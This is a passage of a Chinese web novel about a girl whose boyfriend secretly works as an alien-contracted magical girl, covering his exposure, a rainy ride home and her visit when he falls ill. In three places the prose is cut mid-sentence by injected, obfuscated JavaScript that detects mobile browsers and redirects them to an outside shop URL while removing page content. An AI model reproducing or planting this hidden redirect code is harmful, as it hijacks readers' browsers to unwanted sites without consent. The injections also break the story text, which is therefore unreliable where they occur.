“对啊。” “就这么坦白多无聊啊。”阿丘循循善诱,“动画片里不是这么演的。你要先英雄救美,再制造马甲反差,把两个人的恋爱演出三个人的感觉……” “停停停。”纪卓洲可不吃这一套,“我是当魔法少女,不是出演狗血剧好吗?不要再把何橘卷进来了。” 阿丘盯着纪卓洲看了一小会儿。身为一个爱岗敬业的引导者,它有必要严厉杜绝此种浪费行为。 它听着逐渐靠近的脚步声,眼睛一转,有了新的主意。 “唉,你以为我很想做这种有暴露风险的事吗?还不是为了保住你的命!” 粉章鱼用腕足拭去眼角的泪水,声泪俱下地控诉:“我知道你也背着我偷偷努力过,为了保护地球拼命锻炼自己的精神力,还特地交了女朋友。这些牺牲真是伟大!” 纪卓洲莫名其妙地看着它拙劣的表演。签合同时说好的地球不完蛋他也不完蛋呢?不是顶多被怪兽暴揍一顿吗? 纪卓洲皱眉:“你在说什么乱七八糟……” 何橘:“是这样啊。” 一把伞挡住纪卓洲头顶落下的雨丝。 纪卓洲脑袋僵硬地转动,看见穿着厚实雨衣的何橘蹲在他身旁,煞有介事地跟着点头。 这章鱼是故意说那些话的!但是为什么? 纪卓洲脑子都不会转了:“你、你怎么来了?” “因为有件事让我有些在意。”何橘说着拿出手机,给纪卓洲打了个电话。 不一会儿,纪卓洲的口袋传来持续的振动声。 在何橘长久的注视下,纪卓洲麻木地拿出手机,挂断。 何橘也跟着收起手机,继续说:“我回到医院后没有找到我的男朋友。然后我想起来,我和他第一次约会时,他和我说过有一只会说话的粉章鱼。” 哦,原来暴露得那么早。纪卓洲想,自己主动坦白和被拆穿可是截然不同的两回事,特别是之后他还试图隐瞒。 纪卓洲低着头,不安地蜷缩了下手指,竟然直接选择了默认。诶,他这个样子真是可怜极了,特别是魔法少女状态时,光是看着就让人心疼,像只即将被遗弃的小狗。 “我没有什么能解释的。” 何橘“哦”了一声,下一句话来的很快:“我可以摸摸你的身体吗?” 纪卓洲的脑袋又抬了起来,红彤彤的眼睛里被震惊占领,看过来时让何橘觉得自己是一个不但忘恩负义还见色起意的流氓。 天地良心,何橘说这话时绝对没有多余的心思,只是想确认纪卓洲真的能在外星神秘力量下变换姿态。 高欣把自己说过的话忘了,何橘还记得。 “有了一个朋友,很快就会有第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048748|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个。” 这句话到底什么意思?已经没有能回答的人了,何橘只能靠自己思考。 她走到巷子里,看到纪卓洲,顿时豁然开朗。难道高欣的意思就是何橘有了一个男朋友,男朋友去当魔法少女,这样就是买一送一? 高欣不愧是交朋友领域大神,说出来的话在失忆后仍旧能发挥作用,为何橘指点迷津。她必须把握机会,说不定可以一举拥有两个朋友糊弄爸妈。 况且同性摸摸同性的身体没什么好奇怪的吧?澡堂里也经常有人相互搓澡啊!而且对方还是自己名义上的男朋友,确认一下怎么了! 无论是哪种情况,都很名正言顺嘛! 还没等何橘行动,纪卓洲已经攥住何橘的手,脑袋晃得像拨浪鼓,另一只手压住裙子的边角,生怕真被做些什么:“别……不要……” 好吧,不能摸。 明明刚才还抱过的,何橘遗憾收手:“你什么时候能变回男生?这是可以自己控制的吗?” “可以的。”纪卓洲感觉伤口已经在刚才何橘要摸他时的惊吓里恢复得差不多了。赶在何橘口中蹦出来更多令纪卓洲羞耻的话前,他赶紧变回原本的样子。 外星科技可真神奇,和动画片里不一样,没有换装动作,不用找躲避人群的地方,一眨眼就恢复原样。 何橘围着纪卓洲打转,时不时摸一下他的衣服,这次反而没被拒绝。 为什么呢?难道是魔法少女形态更容易害羞一点? “你还能变成别的样子吗?二十岁?三十岁?四十岁?” “我还不会那种魔法。” 还不会的意思就是以后能学会。 一生二,二生三,三生万物。她何橘的朋友要遍布所有年龄段了。 何橘的眼睛在发光,没有一点嫌恶、厌烦、恐惧的负面情绪,她比和纪卓洲刚确认交往时还要更开心,心里的一块石头终于落地。 自交往以来,她一直不明白纪卓洲为什么会和她告白,但听到刚才阿丘说的话,她终于明白纪卓洲是需要一个名为女朋友的助手激发情绪积攒力量。 让她念龙傲天小说也是必要的一环。 既然是这种互惠互利的关系,她很愿意配合:“我会协助你打怪兽的!” 纪卓洲真想看看何橘的脑子里在想什么。他接过何橘手里的伞,帮着何橘把帽兜理好:“你不害怕吗?你见过那些怪兽了,他们的等级还很低,以后还会有更厉害的怪兽,到时候说不定一口就能把咱们两个都吃了。” “是有点害怕。”何橘坦诚地说,“所以我觉得功夫要下在平时。” 她言之凿凿,仿佛早已胸有成竹。 不知道为什么,看着这样的何橘,纪卓洲心里有了前所未有的不妙预感。 ……他们这么谈恋爱,真的没问题吗? 15. 探病 雨还在下。 纪卓洲本来想送送她,但何橘义正言辞地拒绝了。她有车有雨衣,全身上下挡得严严实实,只有兜帽下的一双眼睛露在外面,又挡雨又挡风,何必为难一个只有雨伞,还穿得单薄的人。 “你还要参加同学聚会吧。”何橘一条腿跨上车,自认为十分体贴,“伞是和医院借的,有空还给医院就可以了。” 一句话堵死一个下次见面的理由。 何橘一拧把手加速,洒脱地走了。 快到家门口时,碰见一辆面包车停在路边的空地上,一个四十多岁的男子仰躺在地,半个身子扎进车底,显然是正在维修。何橘看了一眼,径直骑过,十几分钟后骑回来,车筐里多了一个手提箱。 “爸。”何橘叫了一声,“我把维修箱拿过来了。排气管又掉了?” 车底过了一会儿,传来闷闷地回应,伸出一只手来,手套上全是黑乎乎的机油:“十字螺丝刀。” “哦。”何橘打开箱子,“给。怎么不回家再修?” “你妈啰嗦又不懂,肯定催着我把整套设施全换新的。有那时间还不如再凑活着用几年,报废后买个二手的。” “但我刚才回家时告诉妈妈了。”何橘蹲在何大海身边,拿着手电帮他打光。车下面的影子顿住,几秒后手拿着螺丝刀伸出:“换扳手。你怎么不帮我瞒着点?” “因为我妈妈很聪明,懂得也很多。”何橘递出扳手。 得,孩子向着妈,是他话多了。何大海仿佛终于想起父女俩还在冷战的事,不吭声了。 何橘等了一会儿,见何大海不说话,觉得自己可以开始一个新的话题:“爸,我做了一个大胆的决定。” “你做的大胆的决定还少吗?换钳子。” “和之前那种不一样。” “你想做的事我又管不了你,改志愿的事也没告诉我和你妈,还能比这个更大胆?什么决定?” “拯救世界。”何橘说。 何爹终于舍得把脑袋从车底下拔出来了,饱经风霜的脸出现一丝动容,看着何橘平静的表情,开始摘手套:“不修了,上车。我先带你去医院看看脑袋。” 好熟悉的话。何橘总觉得自己也说过。 “我刚从医院回来,妈还在家等咱俩吃饭,你快点。”她把和自己脑回路如出一辙的爹按回车底,“虽然是拯救世界,但我只需要帮些小忙。” 何大海还是觉得自家涉世未深的孩子被诈骗了。都说十八岁的孩子可以成年自立,但没经历过社会毒打怎么能叫成年?他刨根问底:“他们有没有找你要钱?保证给你买机票骗你去国外?你去了可就回不来了!” 国外没有,星球外倒是有。何橘试着说得更清楚些:“工作是在旁边帮人读书、说些加油之类的。” 何大海心里琢磨着,刚从医院回来,还要给人念书……什么时候关爱老弱病残的社区公益活动也能叫拯救世界了?他把螺栓拧好,四角牢固,这就算修好了。 “和我说没用。”何大海启动发动机,把车窗摇下来,“回家和你妈妈说。” 这个何家,做主的终究是何芳。 何大海开车,比何橘的小电动车快多了。等何橘到家,何大海已经把事情添油加醋和何芳说了一遍,何芳果然被转移注意力,没再问他修车的事情,矛头转向何橘。 何芳最关心的是:“他们给你发鸡蛋吗?卫生纸、洗洁精也行。” 不是一家人,不进一家门。 何橘这次没再说“拯救世界”,也没提外星人,她真怕刚从医院出来就又回去了。她将错就错,说自己班上的同学也在做这份工作,已经干了一周,安全有保障。爸爸妈妈听了若有所思,事情翻页的速度比何橘想象的还要轻松。 何橘在几天后才知道真正的原因。 她和何大海的关系在上一次交谈中缓和不少,虽然还是不知道何父生气的原因,但日子又逐渐恢复平淡,纪卓洲依旧断断续续给她发消息。 纪卓洲:【我把伞还给医院啦。】 纪卓洲:【下雨后路上看见的蜗牛。】 纪卓洲:【今天我去医院,护士和我说顾书文已经出院了。他居然也是青大的,希望在学校里不要碰到他……】 纪卓洲在封印怪兽后也依旧在医院干活,看他的样子是要持续到开学前。没有怪兽出现的日子里,何橘学着他的语气,也给他发自己日常生活中的照片。 何橘:【今天上午拆了三个榴莲。】 何橘:【今天下午切了五个西瓜。】 何橘:【今天晚上吃了两碗米饭。】 她认真审阅自己发的消息,自觉非常完美,这就是她的一天,看店、送货、吃饭,有条不紊,平平无奇。 青大开学在即,各类新生群也陆陆续续活跃起来,分班和寝室逐步推进。何橘查看自己的寝室号码,点开高欣今早发来的消息。 她俩住在同一栋楼,不管是教学楼、食堂、图书馆,距离都是一样的。 何橘:【平手?我也住18舍。】 高欣:【何橘?你没有屏蔽我?】 啊对……高欣现在没有遇到怪兽的记忆。 何橘:【没有,你发的消息我都看了。说晚了,恭喜你考上电气系。】 对方的对话框来来回回显示正在输入中,何橘等了一会儿,发现魔法少女梅可可第二季马上要开始播放,就先把手机放下。许久后才收到高欣的回复。 高欣:【听说一食堂的奶茶很好喝,第二份半价。】 刚看完动画片的何橘看着这句话,精神一振。她已经不是原来的她,她的人际交往能力在和纪卓洲的约会中取得长足进步。 何橘真诚地打字:【恭喜你,七五折拿下两杯。】 这世界上有像纪卓洲一样吃冰激凌要吃两支的冰激凌杀手,自然也不乏奶茶杀手。 高欣:【……谢谢,你算得真快。】 被夸了。 何橘心满意足地进入梦乡,第二天照例给纪卓洲发毫无营养的水果忍者流水账。 何橘:【今天上午切了五个西瓜。】 纪卓洲没给她发消息,也没回复。上一次遇到这样的情况是他去抓怪兽了,既然没叫她,那应该是纪卓洲一个人也能解决吧。 夏天冰镇西瓜卖得最好,何橘继续专心致志地削瓜皮。午休时到自己的房间小睡一会儿,醒来后听见窗户外面有奇怪的敲击声。 这可是二楼,会是邻居家养的猫吗? 何橘拉开窗帘,只看见一大团粉色果冻像被压扁似的摊平在窗户上,看见她,果冻慢悠悠地鼓起一个气泡:“嗨。” 被外星人敲窗户是什么感觉? 适应能力格外强的何橘把窗户推开一条缝隙,阿丘挤进房间,娴熟地像是做过几百遍一样。它先是顺着窗沿流淌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048749|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在书桌上,再一个弹跳,跳到何橘的肩膀,安稳地重新凝聚成章鱼模样:“外面好热,我想吃冰镇西瓜。” 冲着她家果切来的。 何橘往楼下看了看,没见到人:“纪卓洲没来?” “哦,他生病了。”阿丘不慌不忙地说,“没人管我的饭,所以我出来找点吃的。” 一小时后,何橘出现在纪卓洲家楼下。 她拎着两袋水果,一袋阿丘和何橘一起挑的,一袋爸妈知道她要看望朋友后喜出望外追加的,都用厚实的塑料袋装着。进小区时尽职尽责的保安把她拦下,硬是里里外外检查了个遍,还要联系业主确认。 何橘报上纪卓洲的住址,心里有点忐忑。她是在阿丘的催促下过来的。如果是纪卓洲不知情的父母接电话,她说不定要直接打道回府。 好在电话最后是由纪卓洲接通的。 保安好声好气地放行,还客气地问何橘需不需要人帮她拿水果送到楼下。 何橘拒绝了,她在这个绿化很好的社区差点迷路,全靠阿丘的指挥才找对楼栋。等进到电梯后提示需要刷卡时,她才后知后觉地意识到她应该是来了个不得了的地方。 嗯……纪卓洲好像住在二十层,这个高度走楼梯也不是不行…… 阿丘急匆匆地抓住她:“你傻啊?等纪卓洲下来接你。” “不好吧,他都生病了。” 生病的人需要好好休息。何橘只想送个水果就离开,最好就像一位快递员,把东西往门口一放,也不说话,只留下一张代表来过的照片。 正犹豫着,电梯门在她背后缓缓打开。 “何橘?” 何橘听到声音回头,看见纪卓洲站在电梯里,手压着感应门。 他穿得单薄,大半面容藏在口罩下。平日扎起的头发没怎么打理,因为发汗的缘故贴在肌肤上,但背挺得很直,“等很久了吗?我带你上去。” 纪卓洲的眼睛看着何橘,眉梢垂着,眼角薄红,带着几分湿漉漉的顺从等着她靠近。 电梯开始向上,镜子里映出两个人的倒影,一个在前一个在后。 沉默在密闭的空间里蔓延,何橘莫名有些不自在,她先是看不断跃升的数字,然后又看镜子里的自己,最后不期然在镜中和纪卓洲对视。 纪卓洲率先错开视线。 他难耐地拉了下口罩,修长的手指勾着黑色口罩的外沿,似是不这样做就无法顺利呼吸。但他很快意识到这个动作的不妥,呼出的热气扑回脸上,一直烧到耳垂。 “我忘了回你的消息。”他说话的腔调比平时更慢、更低沉,寻找话题的速度也慢了些,“我想应该是因为几天前淋了点雨,过个一两天就好了。” 叮咚。 二十层到了。 “没事,好好休息最重要。” 何橘干巴巴地应着,用力把刚才纪卓洲勾口罩时在黑色布料映衬下愈发白皙的指尖从脑海中甩出去。 “我给你带了些吃的,还买了药。谢谢你来接我……今天只有你一个人在家吗?” 如果他家里有人在,也不用自己下来接何橘了。 “嗯,我平时都是一个人住。”纪卓洲淡淡地回应,在门前的鞋柜里找到一双没拆封的拖鞋,“最近没怎么收拾,家里可能有点乱。” “总之,请进来坐会儿吧。” 他打开漆黑的房门,对何橘发出邀请。 16.恶化 纪卓洲去了厨房泡茶,何橘穿着新拖鞋,坐在他家客厅的沙发上,脊背挺得笔直,手拘谨地撑在大腿边两侧。 何橘没有朋友,亲戚也都在外地,平日很少有到别人家做客的经历,也少有人到她家拜访。因此,她总觉得家是一种私密且温馨的空间,在进入前必须得到相应的认可。 但纪卓洲家好像不是这样。 大多数家具都是黑白灰三色,柜台被擦得一尘不染,台面上没有杂物,所有东西都有条不紊地藏进抽屉里,给人冷漠而疏离的印象。 何橘总觉得有些奇怪,她看了一圈儿,最后仰头看向天花板上的吊灯,灯柱中央分别延伸出五盏花型灯,只有四盏亮着。 “里面的灯泡坏了。”阿丘爬上茶几,触手卷起牙签扎西瓜块,边吃边说,“坏了好些天,也不碍事,就这样放着了。” “嗯。”何橘把剩下的梨拿远些,“你只能吃一盒。” 阿丘嘟囔着小气,收回试图扒拉其余水果的触手。 “纪卓洲发烧了,你不担心吗?”何橘问。 “担心也没用。”阿丘坦荡地说,“就算怪兽专门挑这个时间袭击人类,纪卓洲也打不过,那还不如安心养病。” 道理是这个道理,但听外星章鱼说出来,还是不中听。 见纪卓洲迟迟没有回来,何橘干脆站起身,准备和纪卓洲说一声后离开。他都发烧了,何橘将心比心,也不想继续留在他家打扰,毕竟要招待其他人,总是不如自己待着安心的。 何橘顺着纪卓洲离开的方向找过去,地板是带着云纹的石砖,何橘不太习惯拖鞋踩在上面的声音,总觉得太脆太硬,有点怀念家里暖色调的木地板。 厨房的门开着。 纪卓洲泡上茶后对着茶壶发呆,过了一会儿才想起自己应该给何橘准备个杯子。 家里没有一次性纸杯,他打开碗柜,找出一个透明的玻璃杯,开始清洗。 独居许久,他知道生病时只能自己照顾自己,在淋雨的当天晚上,就先吃了些药预防。可惜病毒来势汹汹,蛰伏两天后猛烈反扑,发烧将他的大脑搅成一团浆糊,思考能力随之下降,行动也有些缓慢。 何橘从门边探头:“纪卓洲?我想了想,感觉我还是先回家比较好……” 纪卓洲关上水龙头,一边擦拭杯壁一边偏头看向何橘:“什么?” “抱歉,是我太磨蹭了?”他说话的语调很温吞,“茶还要等一会儿,无聊的话可以看电视,遥控器在正下方的柜子里,旁边还有拼图和飞行棋。” 哪个探病的人会让生病的人泡茶,然后自己看电视玩游戏啊! 何橘怀疑纪卓洲的智商也被发烧带走了,她连忙摆手:“没有,我就是、就是……”就是不想给你添麻烦! 纪卓洲的口罩一直没摘,语气比起对何橘说更像是在喃喃自语:“也是,要是传染给你就不好了。” 他在说话的间隙咳嗽两声:“虽然我带着口罩,但还是防护有限。说起来也是怪我做事不周,看见你来探望我太开心了,都忘记问你是不是接下来还有重要的事情,就把你拉进我家里。” 夹在碎发与口罩中间的眼睛垂下时显得格外脆弱与黯然:“现在你要去做更重要的事了吗?” 刚想随便找个借口离开的何橘:“……没有,我没有怕传染,接下来也没重要的事。” 纪卓洲放下玻璃杯,歪了歪脑袋:“那你为什么不多待会儿呢?” 何橘找不到借口:“我觉得我……待在你家里不太好。” 纪卓洲看看四周,向何橘走了一步。 他比何橘至少高半头,这会儿还发烧,要是不留神绊倒肯定会摔疼。站在门口的何橘下意识把自己当成一个阻碍他行走的障碍物,跟着他的动作后退一步。 这仿佛躲避一般的动作让纪卓洲沉默片刻:“哪里不好?” “什么?” 他不依不饶地问:“为什么待在我家里会不好?” 他怎么追得这么紧啊。 何橘无奈地说:“我想让你一个人静下心来养病。等下最好能把捣乱的外星章鱼也一起带走。” “章鱼?”纪卓洲咀嚼着这两个字,回忆起之前何橘依照阿丘的指示给他的拥抱。 那是一个一触即分的拥抱。 虽然拥抱的时间短暂到无法产生更多旖旎的心思,但当时的何橘还不会拒绝与他的接触。 不是害怕传染而离开,也不是因为有急事而离开,那会是因为什么? 纪卓洲没有考虑过何橘会撒谎的这件事,他盯着何橘澄澈的眼睛,只能想到一个答案。 于是他低下头,弯着腰,小心地用手指勾住何橘的指尖,见何橘没有避开,又用指腹轻轻摩擦她的掌心,直到将她的手拢到自己的掌心。 纪卓洲的动作太轻了,蹭得何橘手心痒痒的。她刚想抽走手,就发现纪卓洲更用力地抓住了她。 不疼,但似乎更痒了。很快,纪卓洲偏过头,引导着她的手,摸上他的脸颊。 “何橘,你是因为生我的气才想离开的吗?”他灼热的呼吸洒在何橘的手心,隔着口罩一点一点轻蹭,“之前没有让你摸,是我不对……我现在可以补给你……” 私密安全的空间,只有两个人的厨房。纪卓洲垂着的眼睛湿漉漉的,带着一点迷离,竟是要带着何橘的手,从口罩的侧边摸进去。 “停!”何橘听傻了,她把自己的手解救出来,接着在纪卓洲面前举起三根手指,“这是几?” 她将视纪卓洲的回答决定是否拨打120。 纪卓洲茫然地看着何橘。 “快说。”何橘催促道。 “……是三。”纪卓洲老老实实回答。 “答对了。”何橘说。 还有判断力,不用报医。何橘抓紧时间解释:“你刚才是不是误会了?我没有趁人之危的打算!” 纪卓洲轻喘着:“那你的意思是……等我病好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054951|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再摸?” 何橘真的很好奇自己在纪卓洲眼里的形象,她像个被一按到底,终于有机会舒展的弹簧,大声道:“没有!都没有!我没有生气!也不想摸你!” 纪卓洲抿唇,没说信与不信。于是何橘又是哐哐一顿解释,从好奇魔法少女的变身机理讲起,再到今天拜访只为送水果。 纪卓洲因为情绪高涨而失控的大脑在被打断后夺回半分清明,可惜代价是后知后觉的羞耻。 脸烫得不能再烫,一半是病的,一半是羞的。汹涌而至的窘迫感带来新一轮的头痛,好在有口罩挡着,让他勉强维持着正常的神色同何橘说话,而不被发现问题。 何橘费尽口舌,说累了时纪卓洲不知道从哪个柜子里拿出两把折叠椅。她继续解释,一口气说了比以往多得多的话,最后何橘用希冀的眼神看着纪卓洲:“你听懂了吗?” 纪卓洲点头:“听明白了,你不想摸我。我去给你倒杯茶吧。” 讲通了!和人沟通一点不难! 成就感让何橘心满意足,甚至没去追究“摸我”两个字有多么奇怪。 而且何橘确实说得口干舌燥,便一口答应喝茶:“好啊好啊。” 但当纪卓洲站起来要去倒茶,何橘又感觉有哪里不对。 她明明是要走的,怎么问题解释清楚后,依旧留下来喝茶了? ……难道这是纪卓洲的圈套? 真正的人类交际大师可以通过巧妙的引导,神不知鬼不觉地完成自己的目标! 何橘抓住还没转身的纪卓洲的手腕:“等一下,你……” 一瞬间,人仰马翻。 何橘仿佛抓住了一只还没飞上天的风筝,稍一用力便将纪卓洲整个人拽了过来。 折叠椅谈不上稳固,失去重心的何橘还没来得及护住头,后脑勺已经磕在一片柔软之上。 纪卓洲的手心垫在她脑后。 他的重量压在何橘身上,唯独右臂揽过何橘的肩膀,将她按到怀里。何橘的鼻尖撞在纪卓洲的肩膀,觉得自己好像被塞进了一个大号热水袋里,每个同他接触的地方都热乎乎的。 这是一个没人受伤的意外,只是沉默的时间太久了。 “纪卓洲?”何橘推了推他,“你身上好热,你是不是烧得更厉害了?” 几缕碎发随着呼吸擦过何橘的颈窝,纪卓洲的声音迟了很久才慢慢回答:“我不知道,我的头很晕,身上没有力气了……” 何橘费力地从纪卓洲的桎梏里抽出一只手,试探地摸了下他的额头。 温度烫得惊人。 纪卓洲已经烧得神志不清,语调带着点鼻音:“何橘,我好难受……” 何橘用力去推纪卓洲的肩膀,纪卓洲全身的重量压下来,肌肉软绵绵的没有重心,她推不开,只能叹了口气。 都这样了,还倒茶呢。 “这样不行,我得把你搬到床上去。”何橘说,“你能变身吗?女生应该会轻一些吧。” 17.暖光灯 “纪卓洲的房间在这边。” 阿丘伸长腕足,拧开卧室的大门。 卧室没有拉开窗帘,屋内一片漆黑。何橘背着纪卓洲,原本想先把纪卓洲放到床上,脚边却不知道踩到什么,软绵绵的,再走时,又被挡下,进退不得,只好先在墙壁上摸索开关。 好在变成魔法少女形态的纪卓洲不沉,何橘心里估计他可能比自己还要轻些,真是不可思议。 咔哒。 白光照亮房间。 何橘适应片刻,发现刚才踩到的是一个超大的玩偶。玩偶表面覆盖一层淡黄色的绒毛,圆乎乎的脑袋上画着眼睛和嘴巴,看不出来是熊还是别的什么动物。 整个玩偶靠在墙角,足足有半人高,占据卧室四分之一的空间,剩下的是床和书桌。床上丢着几件衣物,书桌上方的书柜里杂乱地放着高低不同的书籍,其中一个格子被腾了出来,放着一个包装精致的礼盒。 “你把他放这里就行。”阿丘卷走床上散乱的外套,掀开薄毯,再拍拍床单,“这是房子里最小的一间卧室,如你所见,没有能让你坐下的地方。” 八爪的章鱼好厉害,能同时做好几件事。 何橘将纪卓洲放到床上,他比刚才安静多了,也可能是因为头痛不得不安静下来。 何橘反而觉得纪卓洲的卧室比外面更好些,这个稍显杂乱的屋子比起外面冷硬干净的装修更像一个家。她试了下纪卓洲额头的温度:“感觉怎么样?” “很糟糕。”纪卓洲半张脸藏进毯子里,他漂亮的金发散在枕头上,红色的瞳孔泛着一点点水光,怯怯地说,“你在我的房间里……这很糟糕。” 嗯,听起来依旧病得不轻。 何橘在他的床边蹲下,食指像在戳一个不倒翁那样,在纪卓洲的额头上点来点去:“你现在什么都做不了哦,生病的人只能躺在床上。” 纪卓洲皱着眉去抓何橘的手,却没使劲,抓到了也只是软绵绵地攥进掌心。不愧是魔法少女,生气的样子也没什么攻击力,那一点点的怒意像玫瑰上的露水,风一吹就抖落了。 阿丘对搭档含羞带怯的样子很绝望,它带何橘过来目的可不只是看两个人你一句我一句互动的。 地球上的影像资料都说生病事件是感情的开始,阿丘决定添把火:“何橘,你照顾过发烧的人吗?知道怎么照顾生病的人吗?” 何橘没照顾过。她的爸爸妈妈都是体力劳动者,保持身体健康是最基本的。但没吃过猪肉也见过猪跑,高考前她生过一场病,那时妈妈是这样说的—— “首先,生病的时候就不要穿外套了,把衣服脱了,舒舒服服地躺着才能好得快。” 阿丘无比赞同:“听见了吗,纪卓洲?” 纪卓洲低声应道:“嗯……” 何橘后知后觉意识到自己说了什么:“等下,不是!至少先让我出去!” 已经来不及了,纪卓洲晃晃荡荡支起上半身,听话地开始解衣服上的扣子。魔法少女裙装上的扣子是装饰,他注定是解不开的。纪卓洲没有就此放弃,很快摸索到腰腹处的拉链。 精致小巧的链坠在微微发汗的指尖滑开,几次尝试仍然不得要领。他用求助的眼神望向何橘,带着她的手按在自己的腰间:“何橘,你帮我……” 他他他、她她她、他、她……这…… 何橘像触电一样缩回手,脑子里一会儿是纪卓洲男性时的脸,一会儿是纪卓洲女性时的脸。 何橘的视线落在他脸上,两张脸眉目骨相相似又不同,但轻飘飘地扫过来时,表情是一样的忍耐与期待。 只不过今天出的差错太多,那层忍耐就像薄薄一层糯米纸,期待又粘稠得像糖浆,以至于何橘现在回想起来,今天一天下来,只看到了纪卓洲满脸的红晕。 好像冬天时,隔着一层玻璃橱窗,在暖黄色灯光下亮闪闪的糖葫芦。 纪卓洲还在委屈:“我只是想要听你的话,但一个人又做不到。” 何橘的手摸回纪卓洲的腰间,她坚定地、毫不迟疑地扶着他的腰,把他按回床上。 “你今天吃过药了吗?早饭和午饭有没有正常吃?”这话问出来时,何橘听见旁边的阿丘啧了一声。 还好意思啧……回头再和它算账! 把该问的都问清楚后,何橘又叮嘱纪卓洲一遍,等她出去再脱衣服,而且要脱也该是解除变身再脱。门轻轻关上,锁扣咬合,何橘依靠着门板,慢慢下滑,最终脱力般坐下。 两只手按在脑袋上,乱七八遭地呼噜一通,露出的耳朵尖像是被传染一般,也带上了点薄红。 纪卓洲只是发烧了。何橘在心里告诉自己,他的家人不在身边,生病时难免想要依赖她人。再加上变身后是女性,他自己应该没看过自己的身体,所以才让她帮他脱……? 想不明白。 完全想不明白。 阿丘四条腕足背在身后,剩下四条模拟人类的腿在地板上交替行走,边走边摇头晃脑:“现在的年轻人,真是世风日下,道德沦丧,人心不古!” 这章鱼真的好欠揍。 何橘抓起章鱼,将它揉成各种形状,既是解压又是泄愤。这样狠狠蹂躏一轮后,何橘终于可以短暂地将刚才发生的一切抛之脑后,开始规划接下来的安排。 如何照顾生病的人? 何芳妈妈言传身教小技巧,第一,换舒服透气的衣服,用最喜欢的姿势躺着。 第二,吃药。这个纪卓洲在何橘来之前吃过了,不用何橘操心。 第三,保持健康且规律的饮食。纪卓洲还没吃午饭。 何橘打开纪卓洲家的冰箱,只找到一些蔫巴巴的蔬菜和速冻食品。一些提前备好的小菜盛放在透明容器里,何橘看了看,又放了回去,感觉都不太符合健康的定义。 于是何橘带上纪卓洲家备用的电梯卡,去到附近的超市买菜。她以为事情过去了,但章鱼之所以欠揍就是因为它哪壶不开提哪壶。 阿丘:“男方生病虚弱,女方细心照料,两颗笨拙的心逐渐靠近……” 听起来阿丘又换了个都市言情电视剧看。 何橘捏住它的嘴:“我不会做饭。” 阿丘灵活地滑走:“没事,咱们不讲究这个。超市有熟食区,你买一份骗他说是你做的就行,他烧傻了,看不出来。等等,你往家电区走什么?” 出门前何橘记住了纪卓洲家的电饭煲牌子,很快在商场里找到相同的电饭煲。 旁边的电子讲解屏说此品牌的电饭煲是人类科技的结晶,21世纪最为先进便利的智能电饭煲,内胆温度均匀且搭配多种功能,不但能蒸米饭煮米饭还内置多种菜谱,一次性解放双手。 何橘点开默认的皮蛋瘦肉粥的操作说明,很快困惑地皱起眉毛:“它说我必须先把肉沫在其他厨具里煎熟,然后才能放进电饭煲里?最先进的电饭煲自己不能解决吗?” 还需要其他厨具辅助的电饭煲也能说自己是科技的结晶? 阿丘真诚建议:“我们还是去买熟食吧。”从何橘这个提问水平看,不像第一次就能熟练使用电饭煲的。 “等下,我还有个想买的东西。” 买熟食的队伍有几个人在排队,何橘从家店区过来,排在队伍的末尾。 别人看不到阿丘,很容易把何橘当成自言自语的怪人,所以何橘戴上耳机,假装在和别人打电话。 “纪卓洲一直一个人住吗?”何橘问。 “我知道的也不是很清楚,但应该是上高中后不得不独居吧。”阿丘说,“他的母亲在国外,父亲没怎么听他提过,两个人我都没见过。倒是有一个已经工作的哥哥偶尔会来看他。” 纪卓洲的家庭关系和何橘截然不同,何橘一时不知该作何反应,阿丘抖落的情报仿佛让何橘再一次置身纪卓洲家的客厅,有一种猝不及防目睹某些隐私的偷窥感。 她迟疑着:“能不能当我没问?” “这有什么?你直接去问纪卓洲,他说不定比我说得还详细。”阿丘多看了何橘好几眼,“我也有一件事想提醒你。你今天把纪卓洲当女性了吗?” “虽然我对此乐见其成,不过你可能搞错了一件事。魔法的基础是对人类的认知进行修改,而我们的种族具备将认知覆盖到现实世界的能力,所以纪卓洲的变身也只是一种‘被覆盖’的状态。” “如果你不知道该怎么和他相处,不如回到你们对起点的共同认知上看。比如说你们的交往关系。” 阿丘的眼睛仿佛能一直看到何橘的内心深处。 “总觉得……你对这层关系的认知,特别浮于表面。” 一个半小时后,何橘心烦意乱地回到家。 何橘有些失落,又有一点烦闷,情绪像乱糟糟的毛线团。 她不喜欢这样。 所以何橘放任自己烦恼十分钟后,就坐到桌子前,从抽屉里拿出一张草稿纸。 她目前最大的烦恼是什么? 何橘在纸上端正地写下答案:如何与纪卓洲相 